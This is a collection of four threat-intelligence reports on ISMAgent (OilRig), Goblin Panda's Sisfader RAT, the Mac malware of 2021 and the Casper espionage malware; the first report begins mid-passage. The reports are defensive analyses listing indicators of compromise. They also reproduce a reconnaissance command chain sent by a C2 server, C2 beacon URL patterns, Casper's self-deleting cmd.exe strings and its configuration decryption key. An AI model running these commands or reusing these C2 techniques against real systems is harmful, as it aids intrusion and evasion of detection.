differences in each variant of Clayslide is below: | Original Clayslide | June Clayslide | Newest Clayslide | |---------------------|----------------|-------------------| | Helminth | X | | | ISMAgent | | X | | OfficeServicesStatus | X | X | | Base64 in multiple cells | X | X | | Source code comment | X | X | The payload (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9) delivered in the June 2016 attack is a variant of the recent ISMDoor versions that use DNS tunneling for its C2 communications. On May 1, 2017, Arbor Networks published research on ISMDoor using DNS tunneling to communicate with its C2 server, which is nearly identical to the DNS tunneling the payload of this attack carries out. Due to considerable differences and evidence of potentially different authors between the previous ISMDoor samples and this newly discovered variant, we are tracking this new variant as ISMAgent. ## On-demand Configuration The ISMAgent tool comes with a default configuration that specifies the C2 domain and the number of minutes between further attempts to execute the tool. However, an actor can use command line arguments to create a new ISMAgent sample that is configured with a specified C2 domain and a specified number of minutes to automatically execute the Trojan. The following command line arguments are supported: | Argument | Description | |----------|-------------| | -c | Configures a second domain to use for C2 communications | | -m | Configures the number of minutes that a scheduled task should execute the payload | If the Trojan is executed with these arguments, the Trojan will read its own file data in, and search for two strings of characters within the data that it will overwrite with the configured settings. The Trojan searches for a string of “^” characters that it will overwrite with the C2 domain provided via the “-c” argument, and it searches for the string “%%%%” that it will replace with the number of minutes provided via the “-m” argument. The “%%%%” string exists within the following larger string, that the Trojan uses as a command to execute in order to create a scheduled task named “TimeUpdate” to execute the payload. ## Command and Control The Trojan is able to use two mechanisms to communicate with its C2 server: HTTP requests and DNS tunneling. The DNS tunneling protocol found in this payload is remarkably similar to recent ISMDoor samples, as documented in Arbor Networks’ research. Similar message handling is found in both ISMAgent and ISMDoor, in addition to the existence of strings in both samples, such as the hardcoded IPv6 values. The similarities may allow for backward compatibility between ISMAgent and ISMDoor C2 infrastructure. In the payloads themselves, a number of differences exist, enough that in essence they appear to be different tools. Regardless of the communications method used, the Trojan will parse the received data from the C2 server for a GUID field that the Trojan will use as a unique identifier, as well as commands the Trojan should run on the compromised system. ### HTTP C2 Communications ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends “www.” to the configured C2 domain and issues a DNS query to resolve this domain. The Trojan will use the resolved IP address as the host in the HTTP beacon request. For instance, the sample used in this attack was configured to use ntpupdateserver[.]com for its C2 server. The HTTP C2 process would attempt to resolve the domain “www.ntpupdateserver[.]com”, which resolved to 142.54.179[.]90, so the Trojan would use the string “http://[IP of C2 domain]/action2/[base64 encoded hostname/username]”. The C2 server will respond to this request with a command string using the previously mentioned format. During the attack on the technology organization, we observed the C2 server issuing the following command: ```plaintext 29839b983-0acd-42db-9d86-0b096af5f369#command#systeminfo&amp;&amp;ipconfig/all&amp;&amp;net user&amp;&amp;net group/domain&amp;&amp;tasklist&amp;&amp;netstat -an ``` If the C2 server provides a command to execute on the system, the Trojan executes it using cmd.exe and writes the output to %TEMP%\runlog[random number].tmp. The Trojan will read this runlog file and send it to the C2 server via an HTTP POST request. ### DNS Tunneling for C2 ISMAgent uses its DNS tunneling technique for C2 as a backup to its HTTP capability. This mechanism supports the same command message structure and even handles the commands in the same manner. The Trojan sends data to the C2 server via DNS queries by encoding data and using the encoded string as a subdomain of an actor-owned domain. The C2 server can send data to the Trojan by resolving the DNS queries to IPv6 addresses that the Trojan treats as hexadecimal data. To carry out its DNS C2 communications, the Trojan will issue DNS queries to the C2 domain to obtain the AAAA records associated with the domain. The Trojan starts this process by creating a unique GUID and appending it to the string “n.n.c.” to create a subdomain to query. The Trojan splits up the base64 encoded data across several DNS queries, which we believe the C2 domain’s name server pieces together using the supplied sequence numbers. The name server will respond to each of these DNS queries with another hardcoded IPv6 value to notify the Trojan that it has received the data. After all of the data is successfully sent via DNS requests, the Trojan will send a final DNS query to notify the C2 server that it has completed its data transfer. ## Infrastructure The ISMAgent payload embedded inside the newest variant of Clayslide used the C2 domain ntpupdateserver[.]com. The primary second-level domain has no IP resolution, instead relying on www.ntpupdateserver[.]com for resolution then two specific subdomains of ns1.ntupdateserver[.]com and ns2.ntpupdateserver[.]com as the actual DNS C2 handler. The ISMAgent payload embedded inside the June version used a completely different C2 domain at microsoft-publisher[.]com, but used the exact same domain name structure. Lastly, we were able to identify a third sample of ISMAgent leveraging another unique C2 domain, adobeproduct[.]com. ### Related Infrastructure - fireeyeupdate[.]com - cache-service[.]net - level3-resolvers[.]net - mslicensecheck[.]com ## Indicators of Compromise **Clayslide delivering ISMAgent** - 3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6 - 5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902 **ISMAgent payloads** - bbfc05177e5e29b3c8c4ef0148969d07e6239140da5bff57473c32409e76c070 - 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9 - af4d8604d0cd09b8dc01dbafc33c6d240d356cad366f9917192a2725e0121a0d **ISMAgent C2** - adobeproduct[.]com - ntpupdateserver[.]com - microsoft-publisher[.]com These findings illustrate the evolving nature of the OilRig campaign and its tools, highlighting the need for continued vigilance and research in the field of cybersecurity.
# Goblin Panda against the Bears During my last investigation, I found two RTF malware documents with the same techniques of exploitation of CVE-2017–11882: - A file 8.t in %TMP% with Package Ole Object - The same loop of decryption - The same runPE after overwriting in memory EQNEDT32.exe But the payload is really different. It’s not a version of PlugX but a version of Sisfader studied by NCC Group. With the behaviour graph of Joe Sandbox, we can recognize the same interactions with the operating system as in my last article and the paper of NCC Group. ## Behaviour of malwares The difference with the version studied by NCC Group is the Package Ole Object. In the article of NCC Group, the researchers talk about a SCT File and many JavaScript manipulations for dropping the RAT on the disk and starting it. Here, the payload is encrypted in 8.t file. If we analyze EQNEDT32.exe overwritten to recognize the payload, we have the same techniques anti-emulation with the same value. In a thread, the process posts in a queue the value 5ACE8D0Ah. ## Anti-emulation tricks The verification is calling GetMessage() and the value is stored in EAX in the function sub_401A60. The comparison is made in the calling function sub_4027D0. Just after, we find again the loop of decryption for the config. ## Loop of decrypting config It’s the same algorithm described: a simple XOR loop with a rolling key. The mechanism of persistence is the same with a service creation just after dropping different files and a privilege escalation. We found the same name of the DLL files. ## Persistence and loading agent The malware overwrites the COM object {9BA05972-F6A8–11CF-A442–00A0C90A8F39} to execute when this COM object is called to make a persistence. All evidence shows it is the same payload Sisfader RAT. ## Threat Intel The toolset for exploiting the module of equation is the same as used by the compromise for Vietnamese officials used by Goblin Panda (APT 1937CN). If we check the domain contacted by EQNEDT32.exe, it is kmbk8.hicp.net. This address is a good pivot. It links Goblin Panda and SisFader RAT. The infrastructure is interesting; these domains resolved on three IPs: 122.158.140.100, 122.158.140.100, and 103.255.45.200. These addresses can permit to find other domains: Sd123.eicp.net with new IP 180.131.58.9 and cv3sa.gicp.net with new IP 1.188.233.201. ## Infrastructure The IP Address 103.255.45.200 has two domains: www.36106g.com and 36106g.com. All infrastructure is based in Shanghai. The victims are different from the Vietnamese campaign. They targeted Telecom Firms pretending to be the Intelligence Service of Russia (FSB). ## RTFs content So Goblin Panda targets, like the report of CrowdStrike, the telecom industries in Russia. ## Conclusion Goblin Panda used Sisfader RAT to target the Telecom Firms in Russia with the same exploitation techniques for Vietnamese officials. They updated their techniques compared to the report of NCC Group. ## IOCs: **RTFs:** - 722e5d3dcc8945f69135dc381a15b5cad9723cd11f7ea20991a3ab867d9428c7 - 71c94bb0944eb59cb79726b20177fb2cd84bf9b4d33b0efbe9aed58bb2b43e9c **Domains IP:** - 1.188.233.201 cv3sa.gicp.net - 1.188.236.22 cv3sa.gicp.net - 1.188.236.22 kmbk8.hicp.net - 1.188.236.22 sd123.eicp.net - 103.255.45.200 36106g.com - 103.255.45.200 cv3sa.gicp.net - 103.255.45.200 kmbk8.hicp.net - 103.255.45.200 sd123.eicp.net - 103.255.45.200 www.36106g.com - 122.158.140.100 cv3sa.gicp.net - 122.158.140.100 kmbk8.hicp.net - 122.158.140.100 sd123.eicp.net
# The Mac Malware of 2021 A comprehensive analysis of the year's new malware! by: Patrick Wardle / January 1, 2022 Objective-See's research, tools, and writing are supported by the "Friends of Objective-See" such as: 1Password, Jamf, Mosyle, Kandji, CleanMyMac X, Kolide. ## Background Goodbye, and good riddance 2021 …and hello 2022! For the sixth year in a row, I’ve put together a blog post that comprehensively covers all the new Mac malware that appeared during the course of the year. While the specimens may have been reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2021 - in one place …yes, with samples of each malware available for download! After reading this blog post, you should have a thorough understanding of recent threats targeting macOS. This is especially important as Apple continues to make significant inroads into the enterprise, and unsurprisingly macOS malware continues following suit! In this blog post, we focus on new Mac malware specimens or significant new variants that appeared in 2021. Adware and/or malware from previous years are not covered. However, at the end of this blog, I’ve included a section dedicated to these other threats, that includes a brief overview and links to detailed write-ups. For each malicious specimen covered in this post, we’ll identify the malware’s: - **Infection Vector:** How it was able to infect macOS systems. - **Persistence Mechanism:** How it installed itself, to ensure it would be automatically restarted on reboot/user login. - **Features & Goals:** What was the purpose of the malware? A backdoor? A cryptocurrency miner? Or something more insidious… Also, for each malware specimen, I’ve added a direct download link to the malware specimen, in case you want to follow along with my analysis or dig into the malware more! ## Malware Analysis Tools & Tactics Throughout this blog, I reference various tools used in analyzing the malware specimens. While there are a myriad of malware analysis tools, these are some of my favorites, and include: - **ProcessMonitor:** My open-source utility that monitors process creations and terminations, providing detailed information about such events. - **FileMonitor:** My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events. - **WhatsYourSign:** My open-source utility that displays code-signing information, via the UI. - **Netiquette:** My open-source lightweight network monitor. - **lldb:** The de-facto command-line debugger for macOS. Installed (to /usr/bin/lldb) as part of Xcode. - **Hopper Disassembler:** A reverse engineering tool (for macOS) that lets you disassemble, decompile, and debug your applications or malware specimens! Interested in general Mac malware analysis techniques? You're in luck, as I've written an entire (free) book on this very topic: **The Art Of Mac Malware, Vol. 0x1: Analysis**. ## Timeline Below is a timeline highlighting the new macOS malware of 2021: - **ElectroRAT** (01/2021): A cross-platform RAT, designed to steal information from cryptocurrency users. - **SilverSparrow** (02/2021): Compiled to natively execute on Apple Silicon (M1/arm64), this payload-less malware affected ~30,000 Macs. - **XcodeSpy** (03/2021): Spreading via malicious Xcode projects, this malware installs a custom variant of the EggShell backdoor. - **ElectrumStealer** (03/2021): Inadvertently notarized by Apple, this targeted cryptocurrency users via a backdoored Electrum wallet. - **WildPressure** (06/2021): A cross-platform Python backdoor, with a propensity for Middle-Eastern victims. - **XLoader** (07/2021): A cross-platform password stealer, for sale on underground forums. - **ZuRu** (09/2021): Spread via malicious sponsored search results, exfiltrates extensive survey data, before installing a Cobalt Strike agent. - **MacMa** (11/2021): A persistent (likely nation-state) macOS implant, deployed via 0-day/n-day exploits. ## Malware Specimens ### OSX.ElectroRAT ElectroRAT is a cross-platform remote “administration” tool (RAT), designed to steal information from cryptocurrency users. **Download:** OSX.ElectroRAT (password: infect3d) ElectroRAT was uncovered by Intezer, who noted: "We discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in January 2020. This extensive operation is composed of a full-fledged marketing campaign, custom cryptocurrency-related applications, and a new Remote Access Tool (RAT) written from scratch." [Its main goal appears to] ...steal personal information from cryptocurrency users" - Intezer. **Infection Vector:** Trojanized/Fake Crypto-Currency Applications Intezer noted the use of trojanized/fake cryptocurrency applications: "These [malicious] applications were promoted in cryptocurrency and blockchain-related forums such as bitcointalk and SteemCoinPan. The promotional posts, published by fake users, tempted readers to browse the applications’ web pages, where they could download the application without knowing they were actually installing malware." - Intezer. **Persistence:** Launch Item OSX.ElectroRAT persists as a launch agent (mdworker.plist). When the trojanized eTrader application is launched, the mdworker binary is executed, and creates a launch agent plist, `~/Library/LaunchAgents/mdworker.plist`. **Capabilities:** Persistent Backdoor (+ embedded binaries). In a Twitter thread, Avigayil (the security researcher at Intezer) notes that the malware first “queries a raw pastebin page to retrieve the C&C IP address." Upon execution, ElectroRAT queries a raw pastebin page to retrieve the C&C IP address. The malware then calls the registerUser function, which creates and sends a user registration Post request to the C&C. ### OSX.SilverSparrow Compiled to natively execute on Apple Silicon (M1/arm64), this payload-less malware affected approximately 30,000 Macs. **Download:** OSX.SilverSparrow (password: infect3d) SilverSparrow was discovered by researchers at Red Canary in mid-February. They shared their findings in a detailed write-up. **Infection Vector:** Installer Packages Nobody is exactly sure how SilverSparrow infects macOS users. What is known is that it is distributed to users in standard Apple packages (.pkgs). **Persistence:** Launch Agent SilverSparrow will persist as a Launch Agent (named for example init_agent.plist). The code that persists the malware can be found in the package’s Distribution file. **Capabilities:** Unknown Though SilverSparrow was found affecting roughly 30,000 macOS systems, no second payload was uncovered. ### OSX.XcodeSpy Spreading via malicious Xcode projects, this malware installs a custom variant of the EggShell backdoor. **Download:** OSX.XcodeSpy (password: infect3d) In March, SentinelOne security researcher Phil Stokes published a write-up on XcodeSpy, noting its (ab)use of Xcode projects as a means to target and surreptitiously infect developers. **Infection Vector:** Subverted Xcode Projects XcodeSpy stealthily modified copies of various open-source Xcode projects, by inserting a malicious (and obfuscated) Run Script. **Persistence:** Launch Item The [Xcode run] script contacts the attackers' C2 and drops a custom variant of the EggShell backdoor on the development machine. The malware installs a user LaunchAgent for persistence. **Capabilities:** Backdoor XcodeSpy installs the well-known, open-source Eggshell backdoor. ### OSX.ElectrumStealer Inadvertently notarized by Apple, ElectrumStealer targeted cryptocurrency users via a backdoored Electrum wallet. **Download:** OSX.ElectrumStealer (password: infect3d) In March, security researcher Taha T of Confiant uncovered the malicious application. **Infection Vector:** Malicious Ads / Fake Update Prompt The malware’s initial infection vector: malicious ads. **Persistence:** None(?) There is no discussion of persistence, as the malware’s goal is to exfiltrate (crypto-currency) wallets and passwords. **Capabilities:** Crypto-currency wallet theft The goal of ElectrumStealer is simply to steal infected user’s crypto-currency wallets and wallet passwords. ### OSX.WildPressure WildPressure is a cross-platform Python backdoor, targeting mainly users in the Middle East. **Download:** OSX.WildPressure (password: infect3d) The malware was discovered by Kaspersky researchers in early July. **Infection Vector:** Unknown The Kaspersky report makes no specific mention of how macOS users may be infected by WildPressure. **Persistence:** Launch Item The core component of the malware is written in Python, making it fairly easy to analyze. It will persist as a launch agent (com.apple.pyapple.plist). **Capabilities:** Backdoor WildPressure supports a variety of commands, commonly found in backdoors. ### XLoader XLoader is a cross-platform “Malware as a Service” that aims to steal passwords from infected users. **Download:** XLoader (password: infect3d) Researchers discovered the cross-platform XLoader for sale on underground forums. **Infection Vector:** Varies “Malware as a Service” normally puts the onus of infection on the buyer. **Persistence:** Launch Agent XLoader will persist itself as a launch agent, though the name of its launch agent property list will be randomized. **Capabilities:** Password Stealer XLoader’s main goal is to steal passwords from infected systems. ### OSX.ZuRu ZuRu spreads via malicious sponsored search results, exfiltrates extensive survey data, before installing a Cobalt Strike agent. **Download:** ZuRu (password: infect3d) In September, users in China noticed that the Chinese search engine Baidu was serving up sponsored ads which would lead to malicious websites. **Infection Vector:** Sponsored Ads The malware downloads two subsequent payloads. **Persistence:** Unknown Though neither was observed persisting, the later, the Cobalt Strike agent, perhaps could be instructed to persist once it checks in with the Cobalt Strike Server. **Capabilities:** 1st-stage downloader When executed, ZuRu downloads and executes two additional payloads. ### OSX.MacMa (OSX.CDDS) MacMa is a persistent (nation-state?) macOS implant, deployed via 0-day/n-day exploits. **Download:** MacMa (password: infect3d) In November, researchers from Google published a report detailing a sophisticated watering hole campaign. **Infection Vector:** 0-day/n-day exploits Google’s Threat Analysis Group (TAG) published the initial report on the MacMa. **Persistence:** Launch Item MacMa is installed as a launch daemon or agent (com.UserAgent.va.plist). **Capabilities:** Backdoor The MacMa malware is a fully featured backdoor, which drops additional helper tools, plus directly implements a myriad of features. ## Conclusion This blog post provided a comprehensive technical analysis of the new mac malware of 2021. However, it did not cover adware or malware from previous years. As such, here I’ve included a list of other notable items from 2021, for the interested reader. ### Other Notable Items from 2021 - **OSX.OSAMiner:** A crypto-currency miner, first analyzed in 2021. - **OSX.Pirrit:** The first malicious code to natively target M1/Apple Silicon. - **OSX.Convuster:** A new adware, detailed by Kaspersky. - **OSX.Hydromac:** A new adware specimen. - **OSX.UpdateAgent / OSX.WizardUpdate:** A new variant that installs various adware. - **OSX.GreenLambert / OSX.DoubleFantasy:** US government macOS implants. New malware is notoriously difficult to detect via traditional signature-based approaches. A far better approach is to leverage heuristics or behaviors that can detect such malware, even with no prior knowledge of the specific threats. Good news, Objective-See’s free macOS security tools do not leverage signatures, but instead monitor for such unusual, and likely malicious behaviors. With the continued growth and popularity of macOS (especially in the enterprise!), 2022 will surely bring a bevy of new macOS malware. Stay safe out there!
# Casper Malware: After Babar and Bunny, Another Espionage Cartoon In this post, we lift the veil on Casper – another piece of software that we believe to have been created by the same organization that is behind Babar and Bunny. In March 2014, French newspaper Le Monde revealed that France is suspected by the Communications Security Establishment Canada (CSEC) of having developed and deployed malicious software for espionage purposes. This story was based on presentation slides leaked by Edward Snowden, which were then published by Germany’s Der Spiegel in January 2015. According to the CSEC presentation, the malicious software in question is called “Babar” by its creators, likely after the famous French cartoon character “Babar The Elephant”. Since then, several malware researchers have begun to work on the enigma that is Babar. Marion Marschalek (Cyphort) struck first, with her report on the “Bunny” malware. Bunny shares some characteristics with the Babar malware described by CSEC. In mid-February, Marion published another report, this time on the actual Babar case, explaining in great detail its spying features. At the same time, Paul Rascagnères (G Data) published a blog post on the similarities between Babar and Bunny, and showed that they were very probably related to the malware described in the CSEC’s slides. In this blog post, we lift the veil on another piece of software that we believe to have been created by the same organization that is behind Babar and Bunny. This component is called “Casper” by its authors – presumably named after yet another famous cartoon character. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time. To attack their targets, Casper’s operators used zero-day exploits in Adobe Flash, and these exploits were – surprisingly – hosted on a Syrian governmental website. Casper is a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against antimalware software. ## Context In mid-April 2014, Vyacheslav Zakorzhevsky (Kaspersky) observed that the website “jpic.gov.sy” was hosting two Flash zero-day exploits, targeting the vulnerability later labeled CVE-2014-0515. This website was set up in 2011 by the Syrian Justice Ministry apparently to allow Syrian people to ask for reparation for the damage of the civil war. The website is still online and apparently currently clean, although it was defaced in September 2014 by some “hacktivist”. At the time of the events, Zakorzhevsky could not retrieve the payloads distributed by these Flash zero-days exploits. ESET researchers were able to find two of these payloads, thanks to ESET LiveGrid® threat telemetry systems. The URLs of these payloads and the dates when they were seen correspond to Zakorzhevsky’s description. In a joint effort with Marion Marschalek, Paul Rascagnères, and researchers from the Computer Incident Response Center Luxembourg (CIRCL), we were recently able to determine that the payloads distributed were very likely developed by the same actors who developed the Babar and Bunny software. ## Casper Binary Analysis The two samples we found are the same core program but differently packaged. The first sample is an executable dropping the core program and making it persistent on the machine. The second is a Windows library that deploys the core program directly into memory, also in the form of a library. In this latter case, the name of the core program library was left visible by its creators: “Casper_DLL.dll”. Throughout this blog, we will focus on the first of these two payloads, the second one being similar in terms of behavior. ### Dropper The dropper is named “domcommon.exe” and its compilation date is set to June 18th, 2010. This is very likely a forged date, as we will explain later. Its execution is based on an XML configuration file decrypted at runtime with the RC4 algorithm and a hardcoded 16-byte key. Before the decryption, the program uses a checksum computation to make sure the memory area containing the decryption key has not been modified. #### Casper Playing Chess against Antivirus Firstly, the dropper extracts the `<STRATEGY>` tag from its configuration file. This tag defines precisely how the malware should behave, depending on which antivirus is present on the machine. ##### Choosing the appropriate strategy First, the dropper retrieves the name of any antivirus that may be running on the machine by executing the Windows Management Instrumentation (WMI) request “SELECT * FROM AntiVirusProduct” and fetching the “displayName” field from the result. If an `<AV>` tag exists in the configuration file with a “NAME” attribute matching the name of an installed antivirus product, it will be set as the execution strategy. In this case, four antivirus products have a defined strategy. If no strategy is found for the running antivirus, or if no antivirus is protecting the computer, the default strategy described in the `<STRATEGY>` tag’s attributes will be applied. Alternatively, if a file named “strategy.xml” is present in the dropper’s folder, it will override the strategy from the configuration file. ##### Possible Moves A strategy is a set of attributes that influences both the dropper and the payload execution. Some of these attributes define how to realize certain actions, whereas the others define whether to perform certain actions. The following array describes the various “moves” offered by these attributes. | Attribute | Attribute Purpose | Value | Value Meaning | |-----------|-------------------|-------|---------------| | RUNKEY | Defines how the dropper will interact with the Windows registry in order to be persistent on the machine | API | Calls to Windows API functions (RegOpenKeyEx, RegQueryValueEx…) | | BAT | Execution of a batch file containing “reg” commands | | | | REG | Execution of “reg” commands in a command prompt process | | | | WMI | Calls to methods of the StdRegProv WMI class | | | | AUTODEL | Defines how the dropper will remove itself from the machine after its execution | DEL | Execution of a command line in a command prompt process | | API | Call to MoveFileEx API function to delete the dropper during the next restart of the system | | | | WMI | Execution of a command line in a command prompt process created through the Create method of the Win32_Process WMI class | | | | INJECTION | Defines whether the dropper and the payload will inject their code into a new process, or execute it in the initial process | YES/NO | N/A | | SAFENOTIF | Defines whether or not the payload will contact the C&C server | YES/NO | N/A | | SERVICE | Likely defines how to interact with Windows services, but the code managing this attribute is missing in these Casper samples | API | N/A | | SC | N/A | | | | ESCAPE | Defines whether the dropper will execute normally, or simply exit | YES/NO | N/A | | SCHEDULER | Unknown. The code managing this attribute is missing in these Casper samples | CMD | N/A | The possibilities offered by this `<STRATEGY>` tag show that Casper’s authors have acquired an in-depth knowledge of behavioral detections in certain antivirus products. For example, process injection will only happen on machines with none of the four defined antiviruses running, since in such a case the “INJECTION” attribute will be set to “NO”. Interestingly, three antiviruses have the “ESCAPE” attribute set to “YES”, which means the dropper will simply uninstall itself in their presence without deploying Casper’s payload. As the list of `<AV>` tags is pretty short, we can speculate that these are the antiviruses Casper’s authors expect to find on their targets. For the record, the “VERSION” attribute present in one `<AV>` tag is actually never used in the code, but it still indicates the intention to distinguish different versions of the same antivirus product. We very rarely see this level of precision employed in malware in order to bypass antivirus. ### Time To Drop The Payload In the event that the “ESCAPE” attribute is set to “NO” in the chosen strategy – as is the case with the default strategy – the dropper will then execute the commands provided in the form of XML tags in the configuration file. #### Uninstalling previous versions The first command instructs the dropper to remove other Casper instances that could possibly be running on the system. The corresponding `<UNINSTALL>` tag comes with a “name” attribute, which will be prefixed with the BIOS constructor name retrieved from the Windows registry (Intel, NEC…) before being used as an identifier. This prefixing is likely meant to avoid drawing the user’s attention if he or she happened to notice the identifier. The program is uninstalled in two steps, each step addressing different methods of persistence employed by Casper: - If it exists, the scheduled task whose name matches the identifier is removed from the system. - If it exists, the application registered with the identifier in the Windows registry is removed from the system. #### Payload installation The payload installation is then directed by the `<INSTALL>` tag, which provides two versions of the payload, one for 32-bit machines (`<x86>`) and another one for 64-bit machines (`<x64>`). The attributes of the `<INSTALL>` tag will then be used by one of the two installation methods previously mentioned. If the operating system is Windows 7 or newer, persistence will be set through a scheduled task; otherwise it will be set through the Windows registry key “HKLM\Software\Microsoft\Windows\CurrentVersion\Run”. The `<INSTALL>` tag provides an argument to give to the payload. The exact value of the argument is critical to the “correct” execution of the payload. The actual verification in the payload is subtle: the argument is used in a custom algorithm to find library functions in memory. Unless the value is correct, the addresses of these library functions will be wrong, resulting in a random-looking crash of the payload. #### Dropper cleans itself Before terminating its execution, the dropper removes itself from the system, using the method defined in the AUTODEL attribute. It should be noted that the payload is not launched at this moment: it will be run only at the next startup thanks to the previous persistence method. ### Payload Similarly to the dropper, Casper payload’s execution is based on an XML configuration file decrypted at run-time. This configuration file starts with a timestamp, which corresponds to Monday, the 7th April 2014 at 21:27:05 GMT. Therefore, the compilation timestamps – set to 2010 – have very likely been forged. A series of `<PARAM>` tags will then control the payload’s behavior, as described in the following array. | Attribute | Purpose | |-----------|---------| | ID | Unknown. It could be used to distinguish operations, as the value is the same in the two payloads hosted on “jpic.gov.sy”. | | REGKEY | Path in the Windows registry that will be used as storage area. | | URL | C&C server’s URL. | | KEY | Cryptographic key for the communications with the C&C server. | | DELAYMIN | Timers to configure the frequency of the contacts with the C&C server. | | DELAYMAX | | | DELAYRETRY | | The payload then generates a unique identifier for the machine and inserts it at the end of the configuration in a `<UID>` tag. Finally, the configuration is RC4-encrypted and stored in the Windows registry. The code handling the configuration shows certain capabilities not exploited in these Casper samples, for example a TIMETOLIVE attribute to plan the termination of Casper after a certain amount of time, or a DELAYED_START attribute to wait before interacting with the system. Finally, the payload’s configuration contains the exact same `<STRATEGY>` as the dropper. ### Report to C&C During its first execution, Casper’s payload executes the following XML file: ```xml <COMMAND name='SYSINFO'/> ``` The handler of the “SYSINFO” command retrieves information about the system and builds a report containing several sections. The titles of the report sections are self-explanatory. Interestingly, the version of the malware is clearly mentioned: 4.4.1. This report is then base64-encoded and sent to the C&C server in the body of an HTTP POST request. It will also be written into a temporary file named “perfaudio.dat”. The network request will also have a cookie named “PREF” filled with the concatenation of the machine UID, the configuration ID, the version of Casper and the hardcoded character “R”, all base64-encoded. ### C&C’s possible answers Due to the C&C being down at the time of the investigation we can only speculate on the rest of the execution based on Casper’s known capabilities. At this point, the binary regularly contacts the C&C server with a cookie similar to the one in the SYSINFO request, but this time with “G” as the hardcoded character instead of “R”. Our analysis of the binary reveals that the server can then send back a PNG image – with the correct header and format for a PNG file — from which a XML command file will be decrypted and executed. In addition to the “SYSINFO” command, Casper can handle `<COMMAND>` tags with the following values: - “EXEC” to execute a program on the machine from its local path. - “SYSTEM” to execute commands in a Windows command prompt. Finally, Casper can also handle `<PLUGIN>` tags, whose content is a Windows executable to deploy on the machine. ## How Does Casper Relate to the Other Cartoons? Our best chance of establishing that the same developers are behind Bunny, Babar and Casper is to identify unusual code or algorithms shared between these various programs. In our comparison we also take into account the so-called “NBOT” malware (also known as the “TFC” malware), whose link with Babar and Bunny was established by Marion Marschalek in her Babar report. Here is a non-exhaustive list of such shared features we observed: - Casper hides its calls to API functions by using a hash calculated from the functions’ names, rather than the names themselves. The hashing algorithm is a combination of rotate-left (ROL) of 7 bits and exclusive-or (XOR) operations. NBOT uses the exact same algorithm for the same purpose, whereas Babar hides its API calls in a similar manner but with a different algorithm. - Casper fetches information about the running antivirus in a way similar to Bunny, Babar, and NBOT, namely through the same WMI request. Moreover, all these malwares compute the SHA-256 hash of the first word of the antivirus name, although in Casper it is actually never used. - Casper generates delimiters for its HTTP requests by filling a specific format string with the results of calls to the GetTickCount API function. The same code is present in some NBOT samples. - Casper removes its dropper by executing a Windows command created from the following format string: ``` cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST “%hs” (DEL “%hs” & SYSTEMINFO) ELSE EXIT ``` In some NBOT samples we can find the following similar syntax: ``` cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST “%s” (DEL “%s” & PING 127.0.0.1 -n 3) ELSE EXIT ``` - Casper uses an “ID” value set to “13001”, whereas Babar samples contain an ID of “12075-01”. Also, the malware discovered in 2009 by the CSEC possesses an ID of “08184”. This similar format, and the increasing value in decimal, could indicate a familial link. None of these signs alone is enough to establish a strong link but all the shared features together make us assess with high confidence that Bunny, Babar, NBOT and Casper were all developed by the same organization. ## Victimology According to our telemetry data, all the people targeted during this operation were located in Syria. These targets may have been the visitors of the “jpic.gov.sy” website — Syrian citizens who want to file a complaint. In this case they could have been redirected to the exploits from a legitimate page of this website. But we were actually unable to determine if this were indeed the case. In other words, it is just as likely that the targets have been redirected to the exploits from another location, for example from a hacked legitimate website or from a link in an email. What is known for sure is that the exploits, the Casper binaries and the C&C component were all hosted on this website’s server. This leads us to a second hypothesis: the “jpic.gov.sy” website could have been hacked to serve as a storage area. This would have at least two advantages for the attackers: firstly, hosting the files on a Syrian server can make them more easily accessible from Syria, a country whose Internet connection to the outside world has been unstable since the beginning of the civil war. Secondly, it would mislead attribution efforts by raising suspicion against the Syrian government. ## Conclusion As previously explained, we are confident that the same group developed Bunny, Babar and Casper. The detailed analysis of Babar in the CSEC slides from 2009 indicates this group is not a newcomer to the espionage business. The use of zero-day exploits is another indication that Casper’s operators belong to a powerful organization. Finally, the narrow targeting of people in Syria shows a likely interest in geopolitics. Nevertheless, we did not find any evidence in Casper itself to point a finger at a specific country. In particular, no signs of French origin, as suggested by CSEC for Babar, were found in the binaries. ## Hashes | ESET Detection | Note | Name | |----------------|------|------| | SHA1 | | 75BF51709B913FDB4086DF78D84C099418F0F449 | DLL | Win32/ProxyBot.B Dropper | | SHA1 | | 7F266A5E959BEF9798A08E791E22DF4E1DEA9ED5 | DLL | Win32/ProxyBot.B Dropper | | SHA1 | | E4CC35792A48123E71A2C7B6AA904006343A157A | Executable | Win32/ProxyBot.B Dropper | | SHA1 | | F4C39EDDEF1C7D99283C7303C1835E99D8E498B0 | X86 | Win32/ProxyBot.B Executable Payload | | SHA1 | | C2CE95256206E0EBC98E237FB73B68AC69843DD5 | X64 | Win32/ProxyBot.A Executable Payload | ## Indicators of Compromise | Indicator | Value | |-----------|-------| | Dropper’s file name | domcommon.exe | | Payload’s file name | aiomgr.exe | | C&C URLs | hXXp://jpic.gov.sy/css/images/_cgi/index.php | | Mutex name | {4216567A-4512-9825-7745F856} | | Key for configuration decryption | 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 | | Temporary file name | perfaudio.dat |
